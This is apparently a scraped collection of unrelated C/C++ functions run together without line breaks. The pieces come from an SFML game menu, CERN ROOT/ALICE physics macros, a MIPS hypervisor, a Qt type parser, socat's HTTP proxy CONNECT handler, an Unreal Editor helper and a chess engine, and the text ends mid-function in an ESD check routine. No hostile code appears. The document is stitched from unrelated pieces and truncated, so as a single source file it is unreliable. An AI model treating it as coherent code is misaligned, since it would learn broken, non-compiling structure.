RECT DisplayManager::Rect(HMONITOR monitor) { return Info(monitor).rcMonitor; }
//AwaitInput bool Menu::AwaitInput (wstring *psKey) { Err fErr (m_Err, L"AwaitInput"); if (psKey == NULL) { return fErr.Set (sERR_ARGUMENTS); } psKey->clear (); wstring sInfo; if (!m_pLanguage->Get (L"KeyInfo", &sInfo)) { return false; } Key MouseUp, MouseDown, MouseLeft, MouseRight; if (!MouseUp.Init (&m_Err, m_pWindow, sMOUSE_UP, false) || !MouseDown.Init (&m_Err, m_pWindow, sMOUSE_DOWN, false) || !MouseLeft.Init (&m_Err, m_pWindow, sMOUSE_LEFT, false) || !MouseRight.Init (&m_Err, m_pWindow, sMOUSE_RIGHT, false)) { return false; } while (psKey->empty () && !m_bClose) { sf::Event Event; while (m_pWindow->GetEvent (Event)) { switch (Event.Type) { case (sf::Event::Closed): m_bClose = true; break; case (sf::Event::KeyPressed): if (Event.Key.Code == sf::Key::Escape) { return true; } *psKey = Key::GetInputName (*m_pWindow, Event.Key.Code); break; case (sf::Event::MouseButtonPressed): *psKey = Key::GetInputName (*m_pWindow, Event.Key.Code, Key::eMouse); break; case (sf::Event::MouseMoved): if (MouseDown.IsPressed ()) { *psKey = sMOUSE_DOWN; } if (MouseUp.IsPressed ()) { *psKey = sMOUSE_UP; } if (MouseLeft.IsPressed ()) { *psKey = sMOUSE_LEFT; } if (MouseRight.IsPressed ()) { *psKey = sMOUSE_RIGHT; } break; default: break; } } m_pWindow->Clear (); sf::String Info (sInfo, sf::Font::GetDefaultFont ()); Info.SetCenter (Info.GetRect ().GetWidth () / 2, Info.GetRect ().GetHeight () / 2); Info.SetPosition (500, 400); Draw (Info); m_pWindow->Display (); MouseUp.ResetMouse (); MouseDown.ResetMouse (); MouseLeft.ResetMouse (); MouseRight.ResetMouse (); sf::Sleep (nSLEEPTIME); } return true; }//AwaitInput
//_____________________________________________________________________________ Int_t ProofAux::GenerateFriend(const char *fnt, const char *fnf) { // Generate the friend tree for the main tree in the 'friends' tutorial fetched // from 'fnt'. // the tree is called 'Tfriend', has the same number of entries as the main // tree and is saved to file 'fnf'. If 'fnf' is not defined the filename is // derived from 'fnt' either replacing 'tree' with 'friend', or adding '_friend' // before the '.root' extension. // Return 0 on success, -1 on error. Int_t rc = -1; // Check the input filename TString fin(fnt); if (fin.IsNull()) { Error("GenerateFriend", "file name for the main tree undefined!"); return rc; } // Make sure that the file can be read if (gSystem->AccessPathName(fin, kReadPermission)) { Error("GenerateFriend", "input file does not exist or cannot be read: %s", fin.Data()); return rc; } // File handlers Bool_t sameFile = kTRUE; const char *openMain = "UPDATE"; // The output filename TString fout(fnf); if (!fout.IsNull()) { sameFile = kFALSE; openMain = "READ"; // Make sure the directory exists TString dir = gSystem->DirName(fout); if (gSystem->AccessPathName(dir, kWritePermission)) { if (gSystem->mkdir(dir, kTRUE) != 0) { Error("GenerateFriend", "problems creating directory %s to store the file", dir.Data()); return rc; } } } else { // We set the same name fout = fin; } // Get main tree TFile *fi = TFile::Open(fin, openMain); if (!fi || fi->IsZombie()) { Error("GenerateFriend", "problems opening input file %s", fin.Data()); return rc; } TTree *Tin = (TTree *) fi->Get("Tmain"); if (!Tin) { Error("GenerateFriend", "problems getting tree 'Tmain' from file %s", fin.Data()); delete fi; return rc; } // Set branches Float_t x, y, z; Tin->SetBranchAddress("x", &x); Tin->SetBranchAddress("y", &y); Tin->SetBranchAddress("z", &z); TBranch *b_x = Tin->GetBranch("x"); TBranch *b_y = Tin->GetBranch("y"); TBranch *b_z = Tin->GetBranch("z"); TDirectory* savedir = gDirectory; // Create output file TFile *fo = 0; if (!sameFile) { fo = new TFile(fout, "RECREATE"); if (!fo || fo->IsZombie()) { Error("GenerateFriend", "problems opening file %s", fout.Data()); delete fi; return rc; } savedir->cd(); } else { // Same file fo = fi; } rc = 0; // Create the tree TTree *Tfrnd = new TTree("Tfrnd", "Friend tree for tutorial 'friends'"); Tfrnd->SetDirectory(fo); Float_t r = 0; Tfrnd->Branch("r",&r,"r/F"); Long64_t ent = Tin->GetEntries(); for (Long64_t i = 0; i < ent; i++) { b_x->GetEntry(i); b_y->GetEntry(i); b_z->GetEntry(i); r = TMath::Sqrt(x*x + y*y + z*z); Tfrnd->Fill(); } if (!sameFile) { fi->Close(); delete fi; } Tfrnd->Print(); fo->cd(); Tfrnd->Write(); Tfrnd->SetDirectory(0); fo->Close(); delete fo; delete Tfrnd; // Notify success Info("GenerateFriend", "friend file '%s' successfully created", fout.Data()); // Add to the list TUrl uu(fout); if (!strcmp(uu.GetProtocol(), "file")) { if (gSystem->Getenv("LOCALDATASERVER")) { if (strcmp(TUrl(gSystem->Getenv("LOCALDATASERVER"), kTRUE).GetProtocol(), "file")) fout.Insert(0, TString::Format("%s/", gSystem->Getenv("LOCALDATASERVER"))); } else { fout.Insert(0, TString::Format("root://%s/", gSystem->HostName())); } } fFriendList->Add(new TObjString(fout)); // Done return rc; }
vcpu_t *create_vcpu(vm_t *vm, unsigned int entry_point, unsigned int arg, char* stack_pointer, uint32_t pip, uint32_t ostype){ static uint32_t vcpu_id=1; static uint32_t shadow_gpr_to_assign = 0; uint32_t num_shadow_gprs; vcpu_t *ret; ll_node_t *nd; Info("Creating VCPUs"); if(!(nd = (ll_node_t *) calloc(1, sizeof(vcpu_t)+sizeof(ll_node_t)))) return NULL; ret = (vcpu_t*)((unsigned int)nd + sizeof(ll_node_t)); memset(ret, 0, sizeof(vcpu_t)); //Set vcpu id and gprshadowset //ret->gprshadowset = vcpu_id; num_shadow_gprs = hal_lr_srsclt(); num_shadow_gprs = (num_shadow_gprs & SRSCTL_HSS) >> SRSCTL_HSS_SHIFT; if (ostype == IDLEVCPU){ ret->gprshadowset = num_shadow_gprs; }else //Highest shadown gpr is used to if(shadow_gpr_to_assign==num_shadow_gprs){ ret->gprshadowset=shadow_gpr_to_assign-1; }else{ ret->gprshadowset = shadow_gpr_to_assign; shadow_gpr_to_assign++; } ret->pip = pip; if (ostype == IDLEVCPU){ ret->id = 0; }else{ ret->id = vcpu_id; vcpu_id++; } //Not initialized ret->init=1; /* initilize the VCPU cp0 registers with the guest cp0 status */ contextSave(ret); /* Initialize compare and count registers. */ ret->cp0_registers[9][0] = 0; ret->cp0_registers[11][0] = 0; ret->pc = entry_point; ret->sp = (uint32_t)stack_pointer; ret->arg = arg; //Vm pointer ret->vm = vm; //Adding to local list of vm's vcpus nd->ptr = ret; ll_append(&(vm->vcpus), nd); return ret; }
TypeParser::Info TypeParser::parse(const QString &str) { Scanner scanner(str); Info info; QStack<Info *> stack; stack.push(&info); bool colon_prefix = false; bool in_array = false; QString array; Scanner::Token tok = scanner.nextToken(); while (tok != Scanner::NoToken) { // switch (tok) { // case Scanner::StarToken: printf(" - *\n"); break; // case Scanner::AmpersandToken: printf(" - &\n"); break; // case Scanner::LessThanToken: printf(" - <\n"); break; // case Scanner::GreaterThanToken: printf(" - >\n"); break; // case Scanner::ColonToken: printf(" - ::\n"); break; // case Scanner::CommaToken: printf(" - ,\n"); break; // case Scanner::ConstToken: printf(" - const\n"); break; // case Scanner::SquareBegin: printf(" - [\n"); break; // case Scanner::SquareEnd: printf(" - ]\n"); break; // case Scanner::Identifier: printf(" - '%s'\n", qPrintable(scanner.identifier())); break; // default: // break; // } switch (tok) { case Scanner::StarToken: ++stack.top()->indirections; break; case Scanner::AmpersandToken: stack.top()->is_reference = true; break; case Scanner::LessThanToken: stack.top()->template_instantiations << Info(); stack.push(&stack.top()->template_instantiations.last()); break; case Scanner::CommaToken: stack.pop(); stack.top()->template_instantiations << Info(); stack.push(&stack.top()->template_instantiations.last()); break; case Scanner::GreaterThanToken: stack.pop(); break; case Scanner::ColonToken: colon_prefix = true; break; case Scanner::ConstToken: stack.top()->is_constant = true; break; case Scanner::OpenParenToken: // function pointers not supported case Scanner::CloseParenToken: { Info i; i.is_busted = true; return i; } case Scanner::Identifier: if (in_array) { array = scanner.identifier(); } else if (colon_prefix || stack.top()->qualified_name.isEmpty()) { stack.top()->qualified_name << scanner.identifier(); colon_prefix = false; } else { stack.top()->qualified_name.last().append(" " + scanner.identifier()); } break; case Scanner::SquareBegin: in_array = true; break; case Scanner::SquareEnd: in_array = false; stack.top()->arrays += array; break; default: break; } tok = scanner.nextToken(); } return info; }
int main() { Info() << "hello"; }
int _xioopen_proxy_connect(struct single *xfd, struct proxyvars *proxyvars, int level) { size_t offset; char request[CONNLEN]; char buff[BUFLEN+1]; #if CONNLEN > BUFLEN #error not enough buffer space #endif char textbuff[2*BUFLEN+1]; /* just for sanitizing print data */ char *eol = buff; int state; ssize_t sresult; /* generate proxy request header - points to final target */ sprintf(request, "CONNECT %s:%u HTTP/1.0\r\n", proxyvars->targetaddr, proxyvars->targetport); /* send proxy CONNECT request (target addr+port) */ * xiosanitize(request, strlen(request), textbuff) = '\0'; Info1("sending \"%s\"", textbuff); /* write errors are assumed to always be hard errors, no retry */ do { sresult = Write(xfd->wfd, request, strlen(request)); } while (sresult < 0 && errno == EINTR); if (sresult < 0) { Msg4(level, "write(%d, %p, "F_Zu"): %s", xfd->wfd, request, strlen(request), strerror(errno)); if (Close(xfd->wfd) < 0) { Info2("close(%d): %s", xfd->wfd, strerror(errno)); } return STAT_RETRYLATER; } if (proxyvars->authstring) { /* send proxy authentication header */ # define XIOAUTHHEAD "Proxy-authorization: Basic " # define XIOAUTHLEN 27 static const char *authhead = XIOAUTHHEAD; # define HEADLEN 256 char *header, *next; /* ...\r\n\0 */ if ((header = Malloc(XIOAUTHLEN+((strlen(proxyvars->authstring)+2)/3)*4+3)) == NULL) { return -1; } strcpy(header, authhead); next = xiob64encodeline(proxyvars->authstring, strlen(proxyvars->authstring), strchr(header, '\0')); *next = '\0'; Info1("sending \"%s\\r\\n\"", header); *next++ = '\r'; *next++ = '\n'; *next++ = '\0'; do { sresult = Write(xfd->wfd, header, strlen(header)); } while (sresult < 0 && errno == EINTR); if (sresult < 0) { Msg4(level, "write(%d, %p, "F_Zu"): %s", xfd->wfd, header, strlen(header), strerror(errno)); if (Close(xfd->wfd/*!*/) < 0) { Info2("close(%d): %s", xfd->wfd, strerror(errno)); } return STAT_RETRYLATER; } free(header); } Info("sending \"\\r\\n\""); do { sresult = Write(xfd->wfd, "\r\n", 2); } while (sresult < 0 && errno == EINTR); /*! */ /* request is kept for later error messages */ *strstr(request, " HTTP") = '\0'; /* receive proxy answer; looks like "HTTP/1.0 200 .*\r\nHeaders..\r\n\r\n" */ /* socat version 1 depends on a valid fd for data transfer; address therefore cannot buffer data. So, to prevent reading beyond the end of the answer headers, only single bytes are read. puh. */ state = XIOSTATE_HTTP1; offset = 0; /* up to where the buffer is filled (relative) */ /*eol;*/ /* points to the first lineterm of the current line */ do { sresult = xioproxy_recvbytes(xfd, buff+offset, 1, level); if (sresult <= 0) { state = XIOSTATE_ERROR; break; /* leave read cycles */ } switch (state) { case XIOSTATE_HTTP1: /* 0 or more bytes of first line received, no '\r' yet */ if (*(buff+offset) == '\r') { eol = buff+offset; state = XIOSTATE_HTTP2; break; } if (proxyvars->ignorecr && *(buff+offset) == '\n') { eol = buff+offset; state = XIOSTATE_HTTP3; break; } break; case XIOSTATE_HTTP2: /* first line received including '\r' */ if (*(buff+offset) != '\n') { state = XIOSTATE_HTTP1; break; } state = XIOSTATE_HTTP3; break; case XIOSTATE_HTTP3: /* received status (first line) and "\r\n" */ if (*(buff+offset) == '\r') { state = XIOSTATE_HTTP7; break; } if (proxyvars->ignorecr && *(buff+offset) == '\n') { state = XIOSTATE_HTTP8; break; } state = XIOSTATE_HTTP4; break; case XIOSTATE_HTTP4: /* within header */ if (*(buff+offset) == '\r') { eol = buff+offset; state = XIOSTATE_HTTP5; break; } if (proxyvars->ignorecr && *(buff+offset) == '\n') { eol = buff+offset; state = XIOSTATE_HTTP6; break; } break; case XIOSTATE_HTTP5: /* within header, '\r' received */ if (*(buff+offset) != '\n') { state = XIOSTATE_HTTP4; break; } state = XIOSTATE_HTTP6; break; case XIOSTATE_HTTP6: /* received status (first line) and 1 or more headers, "\r\n" */ if (*(buff+offset) == '\r') { state = XIOSTATE_HTTP7; break; } if (proxyvars->ignorecr && *(buff+offset) == '\n') { state = XIOSTATE_HTTP8; break; } state = XIOSTATE_HTTP4; break; case XIOSTATE_HTTP7: /* received status (first line), 0 or more headers, "\r\n\r" */ if (*(buff+offset) == '\n') { state = XIOSTATE_HTTP8; break; } if (*(buff+offset) == '\r') { if (proxyvars->ignorecr) { break; /* ignore it, keep waiting for '\n' */ } else { state = XIOSTATE_HTTP5; } break; } state = XIOSTATE_HTTP4; break; } ++offset; /* end of status line reached */ if (state == XIOSTATE_HTTP3) { char *ptr; /* set a terminating null - on or after CRLF? */ *(buff+offset) = '\0'; * xiosanitize(buff, Min(offset, (sizeof(textbuff)-1)>>1), textbuff) = '\0'; Info1("proxy_connect: received answer \"%s\"", textbuff); *eol = '\0'; * xiosanitize(buff, Min(strlen(buff), (sizeof(textbuff)-1)>>1), textbuff) = '\0'; if (strncmp(buff, "HTTP/1.0 ", 9) && strncmp(buff, "HTTP/1.1 ", 9)) { /* invalid answer */ Msg1(level, "proxy: invalid answer \"%s\"", textbuff); return STAT_RETRYLATER; } ptr = buff+9; /* skip multiple spaces */ while (*ptr == ' ') ++ptr; /* HTTP answer */ if (strncmp(ptr, "200", 3)) { /* not ok */ /* CERN: "HTTP/1.0 200 Connection established" "HTTP/1.0 400 Invalid request "CONNECT 10.244.9.3:8080 HTTP/1.0" (unknown method)" "HTTP/1.0 403 Forbidden - by rule" "HTTP/1.0 407 Proxy Authentication Required" Proxy-Authenticate: Basic realm="Squid proxy-caching web server" > 50 72 6f 78 79 2d 61 75 74 68 6f 72 69 7a 61 74 Proxy-authorizat > 69 6f 6e 3a 20 42 61 73 69 63 20 61 57 4e 6f 63 ion: Basic aWNoc > 32 56 73 59 6e 4e 30 4f 6e 4e 30 63 6d 56 75 5a 2VsYnN0OnN0cmVuZ > 32 64 6c 61 47 56 70 62 51 3d 3d 0d 0a 2dlaGVpbQ==.. b64encode("username:password") "HTTP/1.0 500 Can't connect to host" */ /* Squid: "HTTP/1.0 400 Bad Request" "HTTP/1.0 403 Forbidden" "HTTP/1.0 503 Service Unavailable" interesting header: "X-Squid-Error: ERR_CONNECT_FAIL 111" */ /* Apache: "HTTP/1.0 400 Bad Request" "HTTP/1.1 405 Method Not Allowed" */ /* WTE: "HTTP/1.1 200 Connection established" "HTTP/1.1 404 Host not found or not responding, errno: 79" "HTTP/1.1 404 Host not found or not responding, errno: 32" "HTTP/1.1 404 Host not found or not responding, errno: 13" */ /* IIS: "HTTP/1.1 404 Object Not Found" */ ptr += 3; while (*ptr == ' ') ++ptr; Msg2(level, "%s: %s", request, ptr); return STAT_RETRYLATER; } /* ok!! */ /* "HTTP/1.0 200 Connection established" */ /*Info1("proxy: \"%s\"", textbuff+13);*/ offset = 0; } else if (state == XIOSTATE_HTTP6) { /* end of a header line reached */ char *endp; /* set a terminating null */ *(buff+offset) = '\0'; endp = xiosanitize(buff, Min(offset, (sizeof(textbuff)-1)>>1), textbuff); *endp = '\0'; Info1("proxy_connect: received header \"%s\"", textbuff); offset = 0; }
/** * Creates an actor using the specified factory. * * Does nothing if ActorClass is NULL. */ static AActor* PrivateAddActor( UObject* Asset, UActorFactory* Factory, bool SelectActor = true, EObjectFlags ObjectFlags = RF_Transactional, const FName Name = NAME_None ) { if (!Factory) { return nullptr; } AActor* Actor = NULL; AActor* NewActorTemplate = Factory->GetDefaultActor( Asset ); if ( !NewActorTemplate ) { return nullptr; } // For Brushes/Volumes, use the default brush as the template rather than the factory default actor if (NewActorTemplate->IsA(ABrush::StaticClass()) && GWorld->GetDefaultBrush() != nullptr) { NewActorTemplate = GWorld->GetDefaultBrush(); } const FSnappedPositioningData PositioningData = FSnappedPositioningData(GCurrentLevelEditingViewportClient, GEditor->ClickLocation, GEditor->ClickPlane) .UseFactory(Factory) .UseStartTransform(NewActorTemplate->GetTransform()) .UsePlacementExtent(NewActorTemplate->GetPlacementExtent()); const FTransform ActorTransform = FActorPositioning::GetSnappedSurfaceAlignedTransform(PositioningData); // Do not fade snapping indicators over time if the viewport is not realtime bool bClearImmediately = !GCurrentLevelEditingViewportClient || !GCurrentLevelEditingViewportClient->IsRealtime(); FSnappingUtils::ClearSnappingHelpers( bClearImmediately ); ULevel* DesiredLevel = GWorld->GetCurrentLevel(); // Don't spawn the actor if the current level is locked. if ( FLevelUtils::IsLevelLocked(DesiredLevel) ) { FNotificationInfo Info( NSLOCTEXT("UnrealEd", "Error_OperationDisallowedOnLockedLevel", "The requested operation could not be completed because the level is locked.") ); Info.ExpireDuration = 3.0f; FSlateNotificationManager::Get().AddNotification(Info); return nullptr; } { FScopedTransaction Transaction( NSLOCTEXT("UnrealEd", "CreateActor", "Create Actor") ); if ( !(ObjectFlags & RF_Transactional) ) { Transaction.Cancel(); } // Create the actor. Actor = Factory->CreateActor( Asset, DesiredLevel, ActorTransform, ObjectFlags, Name ); if(Actor) { if ( SelectActor ) { GEditor->SelectNone( false, true ); GEditor->SelectActor( Actor, true, true ); } Actor->InvalidateLightingCache(); Actor->PostEditChange(); } } GEditor->RedrawLevelEditingViewports(); if ( Actor ) { Actor->MarkPackageDirty(); ULevel::LevelDirtiedEvent.Broadcast(); } return Actor; }
void runNorm(TString inputFileName = "AliAOD.root", Int_t nEvents = 1e6, TString beamConf = "p-Pb", Bool_t isESD = kFALSE, Bool_t isMC = kFALSE, Int_t debugLevel = 0) { TStopwatch timer; timer.Start(); // Check runing mode Int_t mode = GetMode(inputFileName); if(mode < 0){ Error("runAnalysis","Please provide either an ESD/AOD root file or a collection of ESDs/AODs."); return; } // Load common libraries gSystem->Load("libTree"); gSystem->Load("libGeom"); gSystem->Load("libVMC"); gSystem->Load("libPhysics"); gSystem->Load("libSTEERBase"); // gSystem->Load("libSTEER"); gSystem->Load("libESD"); gSystem->Load("libAOD"); gSystem->Load("libANALYSIS"); gSystem->Load("libANALYSISalice"); gSystem->Load("libEventMixing"); gSystem->Load("libCORRFW"); gSystem->Load("libPWGmuon"); gSystem->Load("libPWGmuondep"); gSystem->AddIncludePath(Form("-I\"%s/include\" -I\"%s/include\"", gSystem->ExpandPathName("$ALICE_ROOT"),gSystem->ExpandPathName("$ALICE_PHYSICS"))); gROOT->ProcessLine(Form(".include %s/include %s/include", gSystem->ExpandPathName("$ALICE_ROOT"), gSystem->ExpandPathName("$ALICE_PHYSICS"))); // Create input chain TChain* chain = CreateChain(inputFileName,isESD); if (!chain) return; // Create the analysis manager AliAnalysisManager *mgr = new AliAnalysisManager("MuonTask"); if ( isESD) { // ESD input handler AliESDInputHandler* esdH = new AliESDInputHandler(); esdH->SetReadFriends(kFALSE); mgr->SetInputEventHandler(esdH); } else { // AOD input handler AliAODInputHandler* aodH = new AliAODInputHandler(); mgr->SetInputEventHandler(aodH); } TString dataType = mgr->GetInputEventHandler()->GetDataType(); Info("runLocal",Form("Manager with %s",dataType.Data())); // Enable MC event handler for ESDs if ( isMC && isESD ){ AliVEventHandler* handler = new AliMCEventHandler; mgr->SetMCtruthEventHandler(handler); } // event selection and centrality framework if ( isESD ){ gROOT->LoadMacro("$ALICE_PHYSICS/OADB/macros/AddTaskPhysicsSelection.C"); AliPhysicsSelectionTask* physicsSelection = AddTaskPhysicsSelection(isMC); if ( !physicsSelection ) { Error("runLocal","AliPhysicsSelectionTask not created!"); return; } } if ( isESD ){ // event centrality gROOT->LoadMacro("$ALICE_PHYSICS/OADB/macros/AddTaskCentrality.C"); AliCentralitySelectionTask *taskCentrality = AddTaskCentrality(); if ( !taskCentrality ) { Error("runLocal on ESD","AliCentralitySelectionTask not created!"); return; } if ( isMC ) taskCentrality->SetMCInput(); //taskCentrality->SetPass(1); // remember to set the pass you are processing!!! } /*else { //Only on full AOD, it is possible to reprocess the centrality framework gROOT->LoadMacro("$ALICE_PHYSICS/OADB/macros/AddTaskCentrality.C"); AliCentralitySelectionTask *taskCentrality = AddTaskCentrality(kTRUE,kTRUE); if ( !taskCentrality ) { Error("runLocal on AOD","AliCentralitySelectionTask not created!"); return; } if ( isMC ) taskCentrality->SetMCInput(); }*/ // Example analysis // Create task //Analysis task is on working directory // gROOT->LoadMacro("AliAnalysisTaskNorm.cxx+g"); // gROOT->LoadMacro("AddTaskNorm.C"); gROOT->LoadMacro("$ALICE_PHYSICS/../src/PWG/muon/AliAnalysisTaskNorm.cxx+g"); gROOT->LoadMacro("$ALICE_PHYSICS/../src/PWG/muon/AddTaskNorm.C"); AliAnalysisTaskNorm* task = AddTaskNorm(isESD,isMC,beamConf); if (!task) { Error("runAnalysis","AliAnalysisTaskNorm not created!"); return; } task->SetDebugLevel(debugLevel); // Enable debug printouts mgr->SetDebugLevel(debugLevel); // start local analysis if (mgr->InitAnalysis()) { mgr->PrintStatus(); if(debugLevel>=2) mgr->SetNSysInfo(100); mgr->StartAnalysis("local", chain, nEvents); } if(debugLevel>=2){ mgr->ProfileTask("Task"); } timer.Stop(); timer.Print(); }
void CheckDone(typePos *Position, int d) { sint64 x; if (!RootBestMove) return; if (IvanAllHalt) { HaltSearch(d, 1); return; } if (SuppressInput) return; if (!JumpIsSet) return; x = GetClock() - StartClock; if (d && d == Depth) { HaltSearch(d, 1); return; } if (x - LastMessage > 1000000) Info(x); if (DoPonder) goto End; if (DoInfinite) goto End; if (d >= 1 && d < 8) goto End; if (x > AbsoluteTime) { HaltSearch(d, 1); return; } if (d == 0 && !NewPonderhit) goto End; NewPonderhit = false; if (!BadMove && x >= BattleTime) { HaltSearch(d, 2); return; } if (EasyMove && x >= EasyTime) { HaltSearch(d, 3); return; } if (!BattleMove && x >= NormalTime && !BadMove) { HaltSearch(d, 4); return; } End: if (d) return; while (TryInput()) { Input(Position); if (d == 0 && !SMPisActive) return; } }
Bool_t CheckSmearedESD(const char* gAliceFileName = "galice.root", const char* esdFileName = "jstiller_AliESDs.root") { // check the content of the ESD // check values Int_t checkNGenLow = 1; Double_t checkEffLow = 0.5; Double_t checkEffSigma = 3; Double_t checkFakeHigh = 0.5; Double_t checkFakeSigma = 3; Double_t checkResPtInvHigh = 5; Double_t checkResPtInvSigma = 3; Double_t checkResPhiHigh = 10; Double_t checkResPhiSigma = 3; Double_t checkResThetaHigh = 10; Double_t checkResThetaSigma = 3; Double_t checkPIDEffLow = 0.5; Double_t checkPIDEffSigma = 3; Double_t checkResTOFHigh = 500; Double_t checkResTOFSigma = 3; Double_t checkPHOSNLow = 5; Double_t checkPHOSEnergyLow = 0.3; Double_t checkPHOSEnergyHigh = 1.0; Double_t checkEMCALNLow = 50; Double_t checkEMCALEnergyLow = 0.05; Double_t checkEMCALEnergyHigh = 1.0; Double_t checkMUONNLow = 1; Double_t checkMUONPtLow = 0.5; Double_t checkMUONPtHigh = 10.; Double_t cutPtV0 = 0.3; Double_t checkV0EffLow = 0.02; Double_t checkV0EffSigma = 3; Double_t cutPtCascade = 0.5; Double_t checkCascadeEffLow = 0.01; // open run loader and load gAlice, kinematics and header AliRunLoader* runLoader = AliRunLoader::Open(gAliceFileName); if (!runLoader) { Error("CheckESD", "getting run loader from file %s failed", gAliceFileName); return kFALSE; } runLoader->LoadKinematics(); runLoader->LoadHeader(); // open the ESD file TFile* esdFile = TFile::Open(esdFileName); if (!esdFile || !esdFile->IsOpen()) { Error("CheckESD", "opening ESD file %s failed", esdFileName); return kFALSE; } AliESDEvent * esd = new AliESDEvent; TTree* tree = (TTree*) esdFile->Get("esdTree"); if (!tree) { Error("CheckESD", "no ESD tree found"); return kFALSE; } esd->ReadFromTree(tree); // efficiency and resolution histograms Int_t nBinsPt = 15; Float_t minPt = 0.1; Float_t maxPt = 3.1; TH1F* hGen = CreateHisto("hGen", "generated tracks", nBinsPt, minPt, maxPt, "p_{t} [GeV/c]", "N"); TH1F* hRec = CreateHisto("hRec", "reconstructed tracks", nBinsPt, minPt, maxPt, "p_{t} [GeV/c]", "N"); Int_t nGen = 0; Int_t nRec = 0; Int_t nFake = 0; TH1F* hResPtInv = CreateHisto("hResPtInv", "", 100, -10, 10, "(p_{t,rec}^{-1}-p_{t,sim}^{-1}) / p_{t,sim}^{-1} [%]", "N"); TH1F* hResPhi = CreateHisto("hResPhi", "", 100, -20, 20, "#phi_{rec}-#phi_{sim} [mrad]", "N"); TH1F* hResTheta = CreateHisto("hResTheta", "", 100, -20, 20, "#theta_{rec}-#theta_{sim} [mrad]", "N"); // PID Int_t partCode[AliPID::kSPECIES] = {kElectron, kMuonMinus, kPiPlus, kKPlus, kProton}; const char* partName[AliPID::kSPECIES+1] = {"electron", "muon", "pion", "kaon", "proton", "other"}; Double_t partFrac[AliPID::kSPECIES] = {0.01, 0.01, 0.85, 0.10, 0.05}; Int_t identified[AliPID::kSPECIES+1][AliPID::kSPECIES]; for (Int_t iGen = 0; iGen < AliPID::kSPECIES+1; iGen++) { for (Int_t iRec = 0; iRec < AliPID::kSPECIES; iRec++) { identified[iGen][iRec] = 0; } } Int_t nIdentified = 0; // dE/dx and TOF TH2F* hDEdxRight = new TH2F("hDEdxRight", "", 300, 0, 3, 100, 0, 400); hDEdxRight->SetStats(kFALSE); hDEdxRight->GetXaxis()->SetTitle("p [GeV/c]"); hDEdxRight->GetYaxis()->SetTitle("dE/dx_{TPC}"); hDEdxRight->SetMarkerStyle(kFullCircle); hDEdxRight->SetMarkerSize(0.4); TH2F* hDEdxWrong = new TH2F("hDEdxWrong", "", 300, 0, 3, 100, 0, 400); hDEdxWrong->SetStats(kFALSE); hDEdxWrong->GetXaxis()->SetTitle("p [GeV/c]"); hDEdxWrong->GetYaxis()->SetTitle("dE/dx_{TPC}"); hDEdxWrong->SetMarkerStyle(kFullCircle); hDEdxWrong->SetMarkerSize(0.4); hDEdxWrong->SetMarkerColor(kRed); TH1F* hResTOFRight = CreateHisto("hResTOFRight", "", 100, -1000, 1000, "t_{TOF}-t_{track} [ps]", "N"); TH1F* hResTOFWrong = CreateHisto("hResTOFWrong", "", 100, -1000, 1000, "t_{TOF}-t_{track} [ps]", "N"); hResTOFWrong->SetLineColor(kRed); // calorimeters TH1F* hEPHOS = CreateHisto("hEPHOS", "PHOS", 100, 0, 50, "E [GeV]", "N"); TH1F* hEEMCAL = CreateHisto("hEEMCAL", "EMCAL", 100, 0, 50, "E [GeV]", "N"); // muons TH1F* hPtMUON = CreateHisto("hPtMUON", "MUON", 100, 0, 20, "p_{t} [GeV/c]", "N"); // V0s and cascades TH1F* hMassK0 = CreateHisto("hMassK0", "K^{0}", 100, 0.4, 0.6, "M(#pi^{+}#pi^{-}) [GeV/c^{2}]", "N"); TH1F* hMassLambda = CreateHisto("hMassLambda", "#Lambda", 100, 1.0, 1.2, "M(p#pi^{-}) [GeV/c^{2}]", "N"); TH1F* hMassLambdaBar = CreateHisto("hMassLambdaBar", "#bar{#Lambda}", 100, 1.0, 1.2, "M(#bar{p}#pi^{+}) [GeV/c^{2}]", "N"); Int_t nGenV0s = 0; Int_t nRecV0s = 0; TH1F* hMassXi = CreateHisto("hMassXi", "#Xi", 100, 1.2, 1.5, "M(#Lambda#pi) [GeV/c^{2}]", "N"); TH1F* hMassOmega = CreateHisto("hMassOmega", "#Omega", 100, 1.5, 1.8, "M(#LambdaK) [GeV/c^{2}]", "N"); Int_t nGenCascades = 0; Int_t nRecCascades = 0; // loop over events for (Int_t iEvent = 0; iEvent < runLoader->GetNumberOfEvents(); iEvent++) { runLoader->GetEvent(iEvent); // select simulated primary particles, V0s and cascades AliStack* stack = runLoader->Stack(); Int_t nParticles = stack->GetNtrack(); TArrayF vertex(3); runLoader->GetHeader()->GenEventHeader()->PrimaryVertex(vertex); TObjArray selParticles; TObjArray selV0s; TObjArray selCascades; for (Int_t iParticle = 0; iParticle < nParticles; iParticle++) { TParticle* particle = stack->Particle(iParticle); if (!particle) continue; if (particle->Pt() < 0.001) continue; if (TMath::Abs(particle->Eta()) > 0.9) continue; TVector3 dVertex(particle->Vx() - vertex[0], particle->Vy() - vertex[1], particle->Vz() - vertex[2]); if (dVertex.Mag() > 0.0001) continue; switch (TMath::Abs(particle->GetPdgCode())) { case kElectron: case kMuonMinus: case kPiPlus: case kKPlus: case kProton: { if (particle->Pt() > minPt) { selParticles.Add(particle); nGen++; hGen->Fill(particle->Pt()); } break; } case kK0Short: case kLambda0: { if (particle->Pt() > cutPtV0) { nGenV0s++; selV0s.Add(particle); } break; } case kXiMinus: case kOmegaMinus: { if (particle->Pt() > cutPtCascade) { nGenCascades++; selCascades.Add(particle); } break; } default: break; } } // get the event summary data tree->GetEvent(iEvent); if (!esd) { Error("CheckESD", "no ESD object found for event %d", iEvent); return kFALSE; } // loop over tracks for (Int_t iTrack = 0; iTrack < esd->GetNumberOfTracks(); iTrack++) { AliESDtrack* track = esd->GetTrack(iTrack); // select tracks of selected particles Int_t label = TMath::Abs(track->GetLabel()); if (label > stack->GetNtrack()) continue; // background TParticle* particle = stack->Particle(label); if (!selParticles.Contains(particle)) continue; if ((track->GetStatus() & AliESDtrack::kITSrefit) == 0) continue; if (track->GetConstrainedChi2() > 1e9) continue; selParticles.Remove(particle); // don't count multiple tracks nRec++; hRec->Fill(particle->Pt()); if (track->GetLabel() < 0) nFake++; // resolutions hResPtInv->Fill(100. * (TMath::Abs(track->GetSigned1Pt()) - 1./particle->Pt()) * particle->Pt()); hResPhi->Fill(1000. * (track->Phi() - particle->Phi())); hResTheta->Fill(1000. * (track->Theta() - particle->Theta())); // PID if ((track->GetStatus() & AliESDtrack::kESDpid) == 0) continue; Int_t iGen = 5; for (Int_t i = 0; i < AliPID::kSPECIES; i++) { if (TMath::Abs(particle->GetPdgCode()) == partCode[i]) iGen = i; } Double_t probability[AliPID::kSPECIES]; 